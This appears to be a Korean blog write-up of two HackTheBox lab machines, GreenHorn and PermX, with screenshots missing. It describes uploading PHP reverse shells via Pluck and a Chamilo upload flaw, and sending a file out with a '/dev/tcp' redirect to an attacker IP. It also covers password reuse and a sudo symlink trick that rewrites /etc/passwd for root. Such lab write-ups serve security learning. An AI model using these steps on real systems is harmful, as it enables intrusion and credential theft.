포트 스캔

 

 

 

/etc/hosts에 IP와 도메인 매핑

 

 

 

웹 페이지에 접속하면 pluck를 사용하는 것을 확인 가능

 

 

 

'pluck'를 클릭하면 깃허브 페이지로 리다이렉트 되는데, 여기서 login.php, admin.php 등의 페이지가 존재하는 것을 확인

 

 

 

 

admin.php에 접속하면 login.php 페이지로 리다이렉트 됨

pluck 버전 확인 가능

 

 

3000번 포트로 접속해보니 git service 페이지가 나옴

 

 

 

'exlpore' 를 클릭하면 GreenHorn의 깃처럼 보이는 경로가 있다

 

 

 

greenhorn.htb의 소스코드

 

 

 

 

login.php 소스코드를 보면 data/settings/pass.phpadmin 해시를 저장하고 있는 것 같다

 

 

해시 확인

 

 

 

복호화 사이트 ☞    https://10015.io/tools/sha512-encrypt-decrypt

스윗하구만...

 

 

 

로그인 성공

 

 

 

로그인에 성공하면 admin.php 페이지로 리다이렉트 됨

 

 

 

 

 

Install module

 

 

 

리버스쉘 파일 압축 (그냥 php 파일은 업로드 막힘)

 

 

 

리버스쉘 업로드

 

 

 

쉘 획득 성공

 

 

 

junior 계정 확인

 

 

 

패스워드는 login.php 패스워드와 동일

플래그 확인

 

 

 

 

junior 홈 디렉터리에 있는 Using OpenVAS.pdf 파일을 읽어보려고 한다

 

cat Using\ OpenVAS.pdf

  • cat은 Using OpenVAS.pdf 파일의 내용을 출력
  • 파일 이름에 공백이 포함되어 있으므로, 백슬래시(\)로 공백을 이스케이프 처리

> /dev/tcp/10.10.14.49/8888

  • /dev/tcp/는 리눅스의 가상 파일 시스템을 이용해 TCP 소켓 연결을 설정
  • 10.10.14.49는 대상 서버의 IP 주소
  • 8888은 대상 서버에서 연결을 수신할 포트 번호
  • >는 cat 명령의 출력을 해당 소켓으로 리다이렉트하여 전송

 

 

 

pdf를 보면

모자이크root 패스워드 확인

 

 

모자이크를 무효화할 수 있는 도구가 있다!

https://github.com/spipm/Depix

 

 

 

신기방기

 

 

 

 

 

root 권한 ㄱ

 

 

 

플래그 획득

python3 -c "import pty;pty.spawn('/bin/bash')"  #쉘 예쁘게 보는 법

 

 

 

 

 

 

nmap 으로 포트 스캔 ㄱ

 

http 80 port 발견해서 브라우저에 http://10.10.22.23 입력하면 도메인명 나옴

→  permx.htb

 

/etc/hosts 파일에 IP+도메인 추가해야 해당 웹 페이지에 접속 가능

대충 온라인 교육 플렛폼인듯

 

 

문제에서 서브도메인을 찾아야 된다고함

 

fuff 도구로 bruteforce ㄱ

wordlist는 아래 링크에서 다운받을 수 있음

→  https://github.com/danielmiessler/SecLists/tree/master

 

-mc 200 옵션을 줘야지만 아래처럼 보임(다른 옵션도 있음)

 

www.permx.htb 랑 lms.permx.htb 찾음 

 

/etc/hosts에 추가

 

 

 

lms.permx.htb 에 접속하면 chamilo application을 사용하는 것을 확인 가능

 

 

버전 정보는 어떻게 찾는지 모르겠는데

대충 구글에 Chamilo를 검색해보면 1.11버전인것 같음

 

ㅇㅋ

 

 

 

 

구글링으로 stored XSS + 원격 코드 실행 CVE를 발견

 

 

해당 취약점에 대한 설명

→   https://starlabs.sg/advisories/23/23-4220/

 

 

공격 대상에 /main/inc/lib/javascript/bigupload/files/ 디렉토리가 존재하는 것을 확인

 

해당 경로에 리버스쉘을 업로드

리버스쉘 파일 →   https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

 

 

netcat으로 리스닝

 

 

개고생 끝에 데이터베이스 연결 정보를 포함한 파일 발견

 

 

/etc/passwd 파일을 확인해보면 root랑 mtz 계정 로그인 가능

 

 

 

mtz 계정으로 ㄱ

근데 왜 db 패스워드랑 계정 패스워드랑 같은지 모르겠음

진짜 문제 가이드 없었으면 상상도 못 할 ㄷ

 

 

sudo -l로 sudo 권한 확인 

 

mtz는 /opt/acl.sh 스크립트를 패스워드 없이 모든 사용자와 그룹 권한으로 실행 가능

 

 

그런데 /home/mtz 경로에 있는 파일 대상으로만 실행 가능

그래서 심볼릭링크를 사용해서 /etc/passwd 파일을 수정할 거임

 

    ↑

계정 패스워드는 mkpasswd로 해시 가능

 

 

/etc/passwd에 잘 추가됐는지 확인하고

로그인 ㄱ

 

 

flag도 확인 굿

 

 

 

+ Recent posts